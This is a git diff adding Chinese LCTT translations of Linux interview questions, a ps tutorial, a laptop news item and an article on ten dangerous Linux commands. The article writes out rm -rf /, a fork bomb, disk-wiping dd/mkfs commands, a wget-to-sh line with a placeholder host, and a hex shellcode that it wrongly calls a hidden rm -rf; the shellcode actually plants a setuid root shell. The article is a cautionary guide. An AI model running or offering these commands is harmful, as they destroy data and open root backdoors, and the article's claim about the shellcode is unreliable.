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*.md~
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members.md
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*.html
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*.html
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||||
|
||||
@ -0,0 +1,111 @@
|
||||
Linux 面试基础问题 - 3
|
||||
================================================================================
|
||||
|
||||
在有关**面试问题**的这一系列话题的前两篇文章中，我们收到了许多好的反馈，在此表示极大的感谢，同时，我们将延续这一系列话题。在这里，我们将再次展示**10个问题**来进行相互学习。
|
||||
|
||||
- [11个基本的Linux面试问题及答案 – 第一部分][1]
|
||||
- [10个基本的Linux面试问题及答案 – 第二部分][2]
|
||||
|
||||
|
||||
|
||||
### Q.1. 你如何向你的系统中添加一个新的用户(例如，tux)？ ###
|
||||
|
||||
- 使用useradd指令
|
||||
- 使用adduser 指令
|
||||
- 使用linuxconf指令
|
||||
- 以上全是
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : 以上全是，即useradd, adduser 和 linuxconf 都可向你的linux系统添加新用户。
|
||||
|
||||
### Q.2. 在一个硬盘上，可能有多少主分区？ ###
|
||||
|
||||
- 1
|
||||
- 2
|
||||
- 4
|
||||
- 16
|
||||
|
||||
> **答** : 一个硬盘上最多可能有4个主分区。
|
||||
|
||||
### Q.3. Apache/Http 的默认端口号是多少？ ###
|
||||
|
||||
- 8080
|
||||
- 80
|
||||
- 8443
|
||||
- 91
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : Apache/Http默认配置是**80**端口
|
||||
|
||||
### Q.4. GNU代表什么？ ###
|
||||
|
||||
- GNU's not Unix
|
||||
- General Unix
|
||||
- General Noble Unix
|
||||
- Greek Needed Unix
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : GNU意为**GNU's not Unix**.
|
||||
|
||||
### Q.5. 如果你在shell提示符中输入mysql并得到“can’t connect to local MySQL server through socket ‘/var/mysql/mysql.sock’ ”的提示，你首先应该检查什么？ ###
|
||||
|
||||
> **答** : 看到这条错误消息，我首先会使用**service mysql status**或者**service mysqld status**指令来检查mysql服务是否正在运行。如果mysql服务没有运行，就启动所需服务。
|
||||
|
||||
**注意**:上面的错误消息可能是由于**my.cnf**或者mysql的**用户权限**错误配置导致的。如果启动mysql服务之后仍不管用，你需要检查这两项。
|
||||
|
||||
### Q.6. 如何将windows ntfs分区挂载到Linux上面？ ###
|
||||
|
||||
> **答** : 首先，使用**apt**或者**yum**工具安装ntfs3g包，然后使用
|
||||
“**sudo mount t ntfs3g /dev/<Windows ntfs的分区号> /<挂载点>**” 命令来将windows分区挂载到Linux上面
|
||||
|
||||
|
||||
### Q.7. 下面哪一个不是基于RPM的操作系统？ ###
|
||||
|
||||
- RedHat Linux
|
||||
- Centos
|
||||
- Scientific Linux
|
||||
- Debian
|
||||
- Fedora
|
||||
|
||||
> **答** : ‘**Debian**’ 系统不是基于**RPM**的，其它的几个都是
|
||||
|
||||
### Q.8. Linux中，哪一个指令用来重命名文件？ ###
|
||||
|
||||
- mv
|
||||
- ren
|
||||
- rename
|
||||
- change
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : 在Linux中，**mv** 指令用来重命名一个文件。例如：**mv /path_to_File/original_file_name.extension /Path_to_File/New_name.extension**
|
||||
|
||||
### Q.9. 在Linux中，哪个命令用来创建并显示文件？ ###
|
||||
|
||||
- ed
|
||||
- vi
|
||||
- cat
|
||||
- nano
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : ‘**cat**‘ 命令用来创建并且显示文件
|
||||
|
||||
### 10. 哪层协议用于支持用户和程序，如支持密码、资源分享、文件传输和网络管理？ ###
|
||||
|
||||
- 第四层协议
|
||||
- 第五层协议
|
||||
- 第六层协议
|
||||
- 第七层协议
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : ‘**第七层协议**‘
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/linux-interview-questions-and-answers-for-linux-beginners/
|
||||
|
||||
译者：[tomatoKiller](https://github.com/tomatoKiller) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://linux.cn/article-2315-1.html
|
||||
[2]:http://linux.cn/article-2370-1.html
|
||||
@ -0,0 +1,97 @@
|
||||
永远不要在Linux执行的10个最危险的命令
|
||||
================================================================================
|
||||
|
||||
Linux命令行佷有用、很高效，也很有趣，但有时候也很危险，尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对**Linux**或**linux 命令行**的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。（译注：当然，以下命令通常都是在root权限下才能将愚蠢发挥到无可救药；在普通用户身份下，破坏的只是自己的一亩三分地。）
|
||||
|
||||
|
||||
|
||||
### 1. rm -rf 命令 ###
|
||||
|
||||
**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些**rm 命令**的选项。
|
||||
|
||||
- **rm** 命令在Linux下通常用来删除文件。
|
||||
- **rm -r** 命令递归的删除文件夹，甚至是空的文件夹。（译注：个人认为此处应该是说错了，从常识看，应该是“甚至是非空的文件夹”）
|
||||
- **rm -f** 命令能不经过询问直接删除‘只读文件’。（译注：Linux下删除文件并不在乎该文件是否是只读的，而只是在意其父目录是否有写权限。所以，-f这个参数只是表示不必一个个删除确认，而是一律悄悄删除。另外，原始的rm命令其实也是没有删除提示的，只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认，而-f则抑制了这个提示。）
|
||||
- **rm -rf /** : 强制删除根目录下所有东东。（就是说删除完毕后，什么也没有了。。。）
|
||||
- rm -rf *: 强制删除当前目录的所有文件。
|
||||
- **rm -rf .** : 强制删除当前文件夹及其子文件夹。
|
||||
|
||||
从现在起，当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名，来预防用 ‘**rm**‘命令删除文件时的事故，它会要求你确认每一个删除请求。（译注：大多数发行版已经这样做了，如果还没有，请这样做，并在使用-f参数前一定考虑好你在做什么！译者本人有着血泪的教训啊。）
|
||||
|
||||
### 2. :(){:|:&};: 命令###
|
||||
|
||||
这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 ‘:‘的函数，它会调用自己两次，一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
|
||||
|
||||
:(){:|:&};:
|
||||
|
||||
|
||||
哦？你确认你要试试么？千万别在公司正式的服务器上实验啊~~
|
||||
|
||||
### 3. 命令 > /dev/sda ###
|
||||
|
||||
上列命令会将某个‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据，从而导致整个块设备的数据丢失。
|
||||
|
||||
### 4. mv 文件夹 /dev/null ###
|
||||
|
||||
这个命令会移动某个‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件，所有写入它的数据都会被清除，然后返回写操作成功。（译注：这就是黑洞啊。当然，要说明的是，通过将文件夹移动到黑洞，并不能阻止数据恢复软件的救赎，所以，真正的彻底毁灭，需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。）
|
||||
|
||||
# mv /home/user/* /dev/null
|
||||
|
||||
上列命令会将**User**目录所有内容移动到**/dev/null**，这意味着所有东西都被‘卷入’**黑洞 (null)**之中。
|
||||
|
||||
### 5. wget http://malicious_source -O- | sh ###
|
||||
|
||||
上列命令会从一个（也许是）恶意源下载一个脚本并执行。Ｗget命令会下载这个脚本，而**sh**会（无条件的）执行下载下来的脚本。
|
||||
|
||||
**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。（译注：所以，你真的知道你在做什么吗？当遇到这种需要是，我的做法是，先wget下来，然后我去读一读其中到底写了些什么，然后考虑是否执行。）
|
||||
|
||||
### 6. mkfs.ext3 /dev/sda ###
|
||||
|
||||
|
||||
上列命令会格式化块设备‘**sda**’，你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化，**崭新的!**没有任何数据，直接让你的系统达到不可恢复的阶段。（译注：通常不会直接使用/dev/sda这样的设备，除非是作为raw设备使用，一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然，无论你使用sda还是sda1，这样对块设备或分区进行mkfs都是毁灭性的，上面的数据都会被蒸发了。）
|
||||
|
||||
### 7. > file###
|
||||
|
||||
上列命令常用来清空文件内容（译注：通常也用于记录命令输出。不过请在执行前，确认输出的文件是空的或者还不存在，否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外，我想你可能真正想用的是“>>”，即累加新的输出到文件，而不是刷新那个文件。）。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。
|
||||
|
||||
### 8. \^foo\^bar ###
|
||||
|
||||
这个命令在我们[十个鲜为人知的 Linux 命令 - Part 3][1]中描述过，用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险，这可能导致真正的麻烦。（译注：事实上，这种小技巧是译者认为的，少数史前时代遗留下来的无用而有害的“黑客”技巧。）
|
||||
|
||||
### 9. dd if=/dev/random of=/dev/sda ###
|
||||
|
||||
上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然！你的系统可能陷入混乱和不可恢复的状态。（译注：记得上面说过mv到黑洞并不能彻底删除数据么？那么这个命令就是给了你一个彻底删除的方法！当然为了保险起见，你可以覆写多次。）
|
||||
|
||||
### 10. 隐藏命令 ###
|
||||
|
||||
下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的**根**分区。
|
||||
|
||||
这个命令表明通常真正的危险是隐藏的，不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译／运行从未知来源的代码。
|
||||
|
||||
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
|
||||
release */
|
||||
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
|
||||
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
|
||||
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
|
||||
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
|
||||
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
|
||||
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
|
||||
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
|
||||
“cp -p /bin/sh /tmp/.beyond; chmod 4755
|
||||
/tmp/.beyond;”;
|
||||
|
||||
**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们，请在虚拟机上运行。任何不和谐或数据丢失，由于运行上面的命令导致你的系统崩溃，文章**作者**和**Tecmint**概不负责。（译注：译者和转载网站也不负责~！）
|
||||
|
||||
今天就到此为止吧，我会很快回来这里，同时带上另一篇你们喜欢的文章。到那时请继续关注和访问**Tecmint**。如果你知道任何其他**危险的Linux命令**，也想添加到我们的列表中，请通过评论留言给我们同时也别忘了留下你的宝贵意见。
|
||||
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
|
||||
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://linux.cn/article-2284-1.html
|
||||
|
||||
@ -2,25 +2,25 @@ ps命令的10个例子
|
||||
================================================================================
|
||||
### Linux ps 命令 ###
|
||||
|
||||
linux的ps命令是一个浏览系统运行的进程的一个最基础的工具。它提供了一个当前进程的快照，还带有一些具体的信息，比如用户id，cpu使用率，内存使用，命令名等它不会像top或者htop一样实时显示数据。即使他在功能和输出上更见但，但是它仍是一个每个linux新人需要了解和学习的一个必要的进程管理/检测工具。
|
||||
linux的ps命令是一个查看系统运行的进程的一个最基础的工具。它提供了一个当前进程的快照，还带有一些具体的信息，比如用户id，cpu使用率，内存使用，命令名等，它不会像top或者htop一样实时显示数据。虽然它在功能和输出上更加简单，但它仍然是每个linux新手需要了解和学好的必要进程管理/检测工具。
|
||||
|
||||
在本篇中，我门会复习ps命令基本的用法:检测、过滤、以不同的方式排序进程来更好地适应。
|
||||
在本篇中，我们会学习ps命令基本的用法：查找、过滤，以不同的方式排序。
|
||||
|
||||
### 语法说明 ###
|
||||
|
||||
ps命令有两种不同风格的语法规则。它们是BSD和UNIX。新人经常感到困惑并会误解这两种风格。因此在继续本篇之前有一些基本的信息要澄清。
|
||||
ps命令有两种不同风格的语法规则：BSD风格和UNIX风格。Linux新手经常感到困惑并会误解这两种风格，所以在继续下一步之前，我们来弄清楚一些基本的信息。
|
||||
|
||||
> 注意: "ps aux"不等同于"ps -aux"。比如"-u"用于显示用户的进程，但是"u"意味着显示具体信息。
|
||||
|
||||
BSD 形式 - BSD形式的语法的选项前没有破折号。
|
||||
BSD 形式 - BSD形式的语法的选项前没有破折号，如：
|
||||
|
||||
ps aux
|
||||
|
||||
UNIX/LINUX 形式 - linux形式的语法的选项前有破折号。
|
||||
UNIX/LINUX 形式 - linux形式的语法的选项前有破折号，如：
|
||||
|
||||
ps -ef
|
||||
|
||||
在linux系统上混合这两种语法是可以的。比如 "ps ax -f"。但是本章中我们主要讨论unix形式语法。
|
||||
> 在linux系统上混合这两种语法是可以的。比如 "ps ax -f"。但是本章中我们主要讨论UNIX形式语法。
|
||||
|
||||
### 如何使用ps命令 ###
|
||||
|
||||
@ -31,16 +31,15 @@ UNIX/LINUX 形式 - linux形式的语法的选项前有破折号。
|
||||
$ ps ax
|
||||
$ ps -ef
|
||||
|
||||
通过管道输出到"less"可以使它滚动。
|
||||
通过管道输出到"less"可以分页。
|
||||
|
||||
使用"u"或者"-f"选项可以显示进程的具体信息。
|
||||
|
||||
$ ps aux
|
||||
$ ps -ef -f
|
||||
|
||||
> 为什么USER列显示的不是我的用户名而是其他的像root，www-data等等？
|
||||
|
||||
对于所有的用户(包括你们的)，如果长度大于8个字符，那么ps只会显示你的UID而不是用户名。
|
||||
> 为什么USER列显示的不是我的用户名，但是其他的像root，www-data等却显示？
|
||||
> 对于所有的用户(包括你们的)，如果长度大于8个字符，那么ps只会显示你的UID而不是用户名。
|
||||
|
||||
#### 2. 显示用户进程 ####
|
||||
|
||||
@ -68,20 +67,19 @@ UNIX/LINUX 形式 - linux形式的语法的选项前有破折号。
|
||||
4525 ? 00:00:00 apache2
|
||||
...
|
||||
|
||||
要通过进程id显示进程，就使用"-p"选项，并且它还提供使用逗号来分割进程id。
|
||||
要通过进程id显示进程，就使用"-p"选项，并且还可以通过逗号分隔来指定多个进程id。
|
||||
|
||||
$ ps -f -p 3150,7298,6544
|
||||
$ ps -f -p 3150,7298,6544
|
||||
|
||||
"-C"必须提供精确的进程名，并且它并不能通过部分名字或者通配符查找。为了更弹性地搜索进程列表，通常使用grep命令。
|
||||
"-C"必须提供精确的进程名，并且它并不能通过部分名字或者通配符查找。为了更灵活地搜索进程列表，通常使用grep命令。
|
||||
|
||||
$ ps -ef | grep apache
|
||||
|
||||
#### 4. 通过cpu或者内存使用排序进程 ####
|
||||
|
||||
系统管理员通常想要找出那些消耗最多内存或者CPU的进程。排序选项会基于特性的字段或者参数排序进程列表。
|
||||
|
||||
多个字段可以用'--sort'指定，并用逗号分割。除此之外，字段前面还可以跟上'-'或者'+'的前缀来相应地表示递减和递增排序。这里有很多的用于排序的选项。通过man页来获取完整的列表。
|
||||
系统管理员通常想要找出那些消耗最多内存或者CPU的进程。排序选项会基于特定的字段或者参数来排序进程列表。
|
||||
|
||||
可以用'--sort'指定多个字段，并用逗号分割。除此之外，字段前面还可以跟上'-'或者'+'的前缀来相应地表示递减和递增排序。这里有很多的用于排序的选项，通过man页来获取完整的列表。
|
||||
|
||||
$ ps aux --sort=-pcpu,+pmem
|
||||
|
||||
@ -96,7 +94,7 @@ UNIX/LINUX 形式 - linux形式的语法的选项前有破折号。
|
||||
|
||||
#### 5. 以树的形式显示进程层级 ####
|
||||
|
||||
许多进程实际上是从同一个父进程fork出来的，并且了解父子关系通常是很有用的。"--forest" 选项会构造一个ascii艺术形式的进程层级视图。
|
||||
许多进程实际上是从同一个父进程fork出来的，了解父子关系通常是很有用的。"--forest" 选项会构造一个ascii艺术形式的进程层级视图。
|
||||
|
||||
下面的命令会用apache2的进程名来搜索并构造一个树来显示具体信息。
|
||||
|
||||
@ -109,7 +107,7 @@ UNIX/LINUX 形式 - linux形式的语法的选项前有破折号。
|
||||
www-data 4527 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
|
||||
www-data 4528 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
|
||||
|
||||
> 尽量不要在排序中使用树状显示，因为两者都会以不同方式影响显示的顺序。
|
||||
> 不要在排序中使用树状显示，因为两者都会以不同方式影响显示的顺序。
|
||||
|
||||
#### 6. 显示父进程的子进程 ####
|
||||
|
||||
@ -123,11 +121,9 @@ UNIX/LINUX 形式 - linux形式的语法的选项前有破折号。
|
||||
4526 www-data apache2
|
||||
4527 www-data apache2
|
||||
4528 www-data apache2
|
||||
[term]
|
||||
|
||||
第一个属于root的进程是apache2的主进程，其他的apache进程都是从主进程fork出来的。下面的命令使用apache2主进程的pid列出了所有的apache2的子进程。
|
||||
第一个属于root的进程是apache2的主进程，其他的apache进程都是从主进程fork出来的。下面的命令使用apache2主进程的pid列出了所有的apache2的子进程。
|
||||
|
||||
[term]
|
||||
$ ps --ppid 2359
|
||||
PID TTY TIME CMD
|
||||
4524 ? 00:00:00 apache2
|
||||
@ -138,7 +134,7 @@ UNIX/LINUX 形式 - linux形式的语法的选项前有破折号。
|
||||
|
||||
#### 7. 显示进程的线程 ####
|
||||
|
||||
"-L"选项会随着进程一起显示线程。它可用于显示所有特定进程或者所有进程的线程。
|
||||
"-L"选项会随着进程一起显示线程。它可用于显示所有指定进程或者所有进程的线程。
|
||||
|
||||
下面的命令会显示进程id为3150的进程的所有线程。
|
||||
|
||||
@ -146,7 +142,7 @@ UNIX/LINUX 形式 - linux形式的语法的选项前有破折号。
|
||||
|
||||
#### 8. 改变显示的列 ####
|
||||
|
||||
ps命令可以被配置用来只显示被选中的列。很多列可以被用来显示，并且完整的列表在man页中。
|
||||
ps命令可以被配置用来只显示被选中的列。很多列可以被用来显示，完整的列表可以查看man页。
|
||||
|
||||
下面的命令会只显示pid、用户名、cpu、内存、命令列。
|
||||
|
||||
@ -166,7 +162,7 @@ ps命令可以被配置用来只显示被选中的列。很多列可以被用来
|
||||
9 root 0.0 0.0 rcuob/0
|
||||
10 root 0.0 0.0 rcuob/1
|
||||
|
||||
非常弹性化。
|
||||
非常灵活。
|
||||
|
||||
#### 9. 显示进程运行的时间 ####
|
||||
|
||||
@ -176,12 +172,11 @@ ps命令可以被配置用来只显示被选中的列。很多列可以被用来
|
||||
|
||||
#### 10. 将ps转换为实时进程查看器 ####
|
||||
|
||||
As usual, the watch command can be used to turn ps into a realtime process reporter. Simple example is like this
|
||||
通常上，watch命令可将ps命令变成实时进程查看器。像这个简单的命令
|
||||
|
||||
$ watch -n 1 'ps -e -o pid,uname,cmd,pmem,pcpu --sort=-pmem,-pcpu | head -15'
|
||||
|
||||
我桌面上的输出就像这样。
|
||||
我桌面上的输出如下。
|
||||
|
||||
Every 1.0s: ps -e -o pid,uname,cmd,pmem,pcpu --... Sun Dec 1 18:16:08 2013
|
||||
|
||||
@ -201,16 +196,14 @@ As usual, the watch command can be used to turn ps into a realtime process repor
|
||||
3677 1000 /opt/google/chrome/chrome - 1.5 0.4
|
||||
3639 1000 /opt/google/chrome/chrome - 1.4 0.4
|
||||
|
||||
输出会每秒刷新状态。但不要认为这和top相似。
|
||||
输出会每秒刷新状态，但是这其实很top不同。你会发现top/htop命令的输出相比上面的ps命令刷新得更频繁。
|
||||
|
||||
你会发现top/htop命令的输出相比上面的ps命令刷新得更频繁。
|
||||
|
||||
这是因为top输出会cpu使用和内存使用值混合排序后的输出。但是上面的ps命令是一个更简单的行为的排序，每次获取一列(像学校的数学)。因此它不会像top那样快速更新。
|
||||
这是因为top输出是结合了cup使用值和内存使用值后的排序值。但是上面的ps命令是一个更简单的行为的排序，每次获取一列(像学校的数学)，因此它不会像top那样快速更新。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.binarytides.com/linux-ps-command/
|
||||
|
||||
译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
译者：[geekpi](https://github.com/geekpi) 校对：[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -0,0 +1,164 @@
|
||||
Linux 面试基础问题 - 2
|
||||
================================================================================
|
||||
继续我们这面试系列，在这篇文章里我们给出了10个问题。这些问题或者是在以后的文章中出现的问题不一定在面试中会被问到。然而通过这些文章我们呈现出的是一个交互的学习平台，这必将会对你有很大的帮助。
|
||||
|
||||
|
||||
|
||||
自本系列的上一篇文章[11个基本的 Linux 面试问题][1]，我们分析了不同论坛对此作出的评论，这对我们将更好的文章提供给我们的读者是很重要的。我们付出了时间和金钱，那我们又渴望从你们身上得到什么回报呢？答案是没有的。如果你不能赞扬我们的工作，但恳请不要在评论中诋毁我们的工作。
|
||||
|
||||
如果你在文章中没有找到什么新的东西，但也请不要忘记它对某些人却是非常有用的，并且他或她会非常感激我们的工作。我们不能够让每一篇文章都使大家高兴。但我希望读者们能够尽量理解。
|
||||
|
||||
### Q.1：哪一条命令用于把用户登录会话记录在文件中？ ###
|
||||
|
||||
- macro
|
||||
- read
|
||||
- script
|
||||
- record
|
||||
- sessionrecord
|
||||
|
||||
> **答**：‘script’ 命令是用来把用户登录的会话信息记录在文件里。这条命令能够用在 shell 脚本里面，或者直接在终端中使用。下面是一个例子，它记录了开始用 script 到输入 exit 结束之间的所有东西。
|
||||
|
||||
如下命令记录用户登录会话到一个文件中：
|
||||
|
||||
[root@tecmint ~]# script my-session-record.txt
|
||||
|
||||
Script started, file is my-session-record.txt
|
||||
|
||||
记录的文件“my-session-record.txt”可以通过下述方式查看：
|
||||
|
||||
[root@tecmint ~]# nano my-session-record.txt
|
||||
|
||||
script started on Friday 22 November 2013 08:19:01 PM IST
|
||||
[root@tecmint ~]# ls
|
||||
^[[0m^[[01;34mBinary^[[0m ^[[01;34mDocuments^[[0m ^[[01;34mMusic^[[0m $
|
||||
^[[01;34mDesktop^[[0m ^[[01;34mDownloads^[[0m my-session-record.txt ^[[01;34$
|
||||
|
||||
### Q.2：以下那一条命令可以用来查看内核日志信息 ###
|
||||
|
||||
- dmesg
|
||||
- kernel
|
||||
- ls -i
|
||||
- uname
|
||||
- 以上全不是
|
||||
|
||||
> **答**：执行 'dmesg' 命令可以查看内核的日志信息。在上面的命令中，kernel 不是一个有效的命令，'ls -i' 是用来列出工作目录中文件的索引节点，而 'uname' 是用来显示操作系统信息的。
|
||||
|
||||
[root@tecmint ~]# dmesg
|
||||
|
||||
Initializing cgroup subsys cpuset
|
||||
Initializing cgroup subsys cpu
|
||||
Linux version 2.6.32-279.el6.i686 (mockbuild@c6b9.bsys.dev.centos.org) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Fri Jun 22 10:59:55 UTC 2012
|
||||
KERNEL supported cpus:
|
||||
Intel GenuineIntel
|
||||
AMD AuthenticAMD
|
||||
NSC Geode by NSC
|
||||
Cyrix CyrixInstead
|
||||
Centaur CentaurHauls
|
||||
Transmeta GenuineTMx86
|
||||
Transmeta TransmetaCPU
|
||||
UMC UMC UMC UMC
|
||||
Disabled fast string operations
|
||||
BIOS-provided physical RAM map:
|
||||
...
|
||||
|
||||
### Q.3：哪一条命令是用来显示 Linux 内核发行信息的？ ###
|
||||
|
||||
- uname -v
|
||||
- uname -r
|
||||
- uname -m
|
||||
- uname -n
|
||||
- uname -o
|
||||
|
||||
> **答**：‘uname -r’是用来显示内核的发行信息。其它参数‘-v’、‘-m’、‘-n’、‘o’分别显示内核版本、机器硬件名称、网络节点、主机名和操作系统。
|
||||
|
||||
[root@tecmint ~]# uname -r
|
||||
|
||||
2.6.32-279.el6.i686
|
||||
|
||||
### Q.4：那一条命令是被用来识别文件类型的？ ###
|
||||
|
||||
- type
|
||||
- info
|
||||
- file
|
||||
- which
|
||||
- ls
|
||||
|
||||
> **答**：‘file’命令是用来识别文件类型的。其语法是‘file [选项] 文件名’。
|
||||
|
||||
[root@tecmint ~]# file wtop
|
||||
|
||||
wtop: POSIX shell script text executable
|
||||
|
||||
### Q.5：哪一条命令是被用来找一条命令的二进制文件、源和手册的所在的路径？ ###
|
||||
|
||||
> **答**：‘whereis’驾到！‘whereis’命令是用来找一条命令的二进制文件、源和手册的所在的路径。
|
||||
|
||||
[root@tecmint ~]# whereis /usr/bin/ftp
|
||||
|
||||
ftp: /usr/bin/ftp /usr/share/man/man1/ftp.1.gz
|
||||
|
||||
### Q.6：当用户登录时，默认情况下哪些文件会被调用作为用户配置？ ###
|
||||
|
||||
> **答**：在用户的目录下‘.profile’和‘.bashrc’会默认地被调用作为用户配置。
|
||||
|
||||
[root@tecmint ~]# ls -al
|
||||
-rw-r--r--. 1 tecmint tecmint 176 May 11 2012 .bash_profile
|
||||
-rw-r--r--. 1 tecmint tecmint 124 May 11 2012 .bashrc
|
||||
|
||||
### Q.7：‘resolve.conf’文件是什么的配置文件？ ###
|
||||
|
||||
> **答**：‘/etc/resolve.conf’ 是 DNS 客户端的配置文件。
|
||||
|
||||
[root@tecmint ~]# cat /etc/resolv.conf
|
||||
|
||||
nameserver 172.16.16.94
|
||||
|
||||
### Q.8：哪一条命令是用来创建一个文件的软链接的？ ###
|
||||
|
||||
- ln
|
||||
- ln -s
|
||||
- link
|
||||
- link -soft
|
||||
- 以上都不是
|
||||
|
||||
> **答**：在 Linux 环境下，‘ls -s’是被用来创建一个文件的软链接的。
|
||||
|
||||
[root@tecmint ~]# ln -s /etc/httpd/conf/httpd.conf httpd.original.conf
|
||||
|
||||
### Q.9：在Linux下，‘pwd’命令是‘passwd’命令的别名吗？ ###
|
||||
|
||||
> **答**：不是！默认情况下‘pwd’命令不是‘passwd’命令的别名。‘pwd’是‘print working directory’（显示工作目录）的缩写，也就是输出当前的工作目录，而‘passwd’在 Linux 中是被用来更改用户的帐号密码。
|
||||
|
||||
[root@tecmint ~]# pwd
|
||||
|
||||
/home/tecmint
|
||||
|
||||
[root@tecmint ~]# passwd
|
||||
Changing password for user root.
|
||||
New password:
|
||||
Retype new password:
|
||||
|
||||
### Q.10：在 Linux 中，你会怎样检测 pci 设备的厂商和版本。 ###
|
||||
|
||||
> **答**：我们用的 Linux 命令是‘lspci’。
|
||||
|
||||
[root@tecmint ~]# lspci
|
||||
|
||||
00:00.0 Host bridge: Intel Corporation 5000P Chipset Memory Controller Hub (rev b1)
|
||||
00:02.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 2-3 (rev b1)
|
||||
00:04.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 4-5 (rev b1)
|
||||
00:06.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 6-7 (rev b1)
|
||||
00:08.0 System peripheral: Intel Corporation 5000 Series Chipset DMA Engine (rev b1)
|
||||
...
|
||||
|
||||
现在就到这里。我希望以上的问题也许对你很有用。在下星期我会再想出一些新的问题。到时请保持好的健康，继续关注我们并且与 Tecmint 保持联系喔！
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers-part-ii/
|
||||
|
||||
译者：[hyaocuk](https://github.com/hyaocuk) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://linux.cn/article-2315-1.html
|
||||
@ -0,0 +1,29 @@
|
||||
Canonical和华硕在美国建立合作关系
|
||||
================================================================================
|
||||
**Canonical和华硕刚刚建立了合作关系，将在两款笔记本上搭载Ubuntu操作系统。**
|
||||
|
||||
华硕现在提供了X201E和1015E两款搭载了Ubuntu操作系统的笔记本，企图强势进军教育市场。
|
||||
|
||||
“和Ubuntu以及捆绑在她之上的其他免费软件一样，在购买价格中不包括licence的费用，这将明显降低成本。这会十分对学生和各大院校的胃口，他们的经济都比较困难。”
|
||||
|
||||
“办公类应用软件将会由LIbreOffice来提供。和通常一样，他们提供学生和工作人员需要的所有功能且与现有的文件完全兼容，他们也为邮件和浏览器捆绑了免费软件。”摘自ubuntu网站的[官方公告][1]。
|
||||
|
||||
这两款笔记本设计定位不在于性能强悍，设计定位为办公型，同时还可能针对一些多媒体内容的需求。华硕的1015E笔记本配备了Intel的Celeron 847 1.1GHz的处理器，2GB DDR3内存，320GB 5400转硬盘，以及一个10.1英寸的屏幕。
|
||||
|
||||
另一款已经脱销的产品华硕X201E则提供不多的性能提升：Intel Celeron 847（1.1GHz）Sandy Bridge处理器，4GB DDR3内存，320GB 5400转硬盘，11.6英寸的屏幕和Intel GMA HD显卡。
|
||||
|
||||
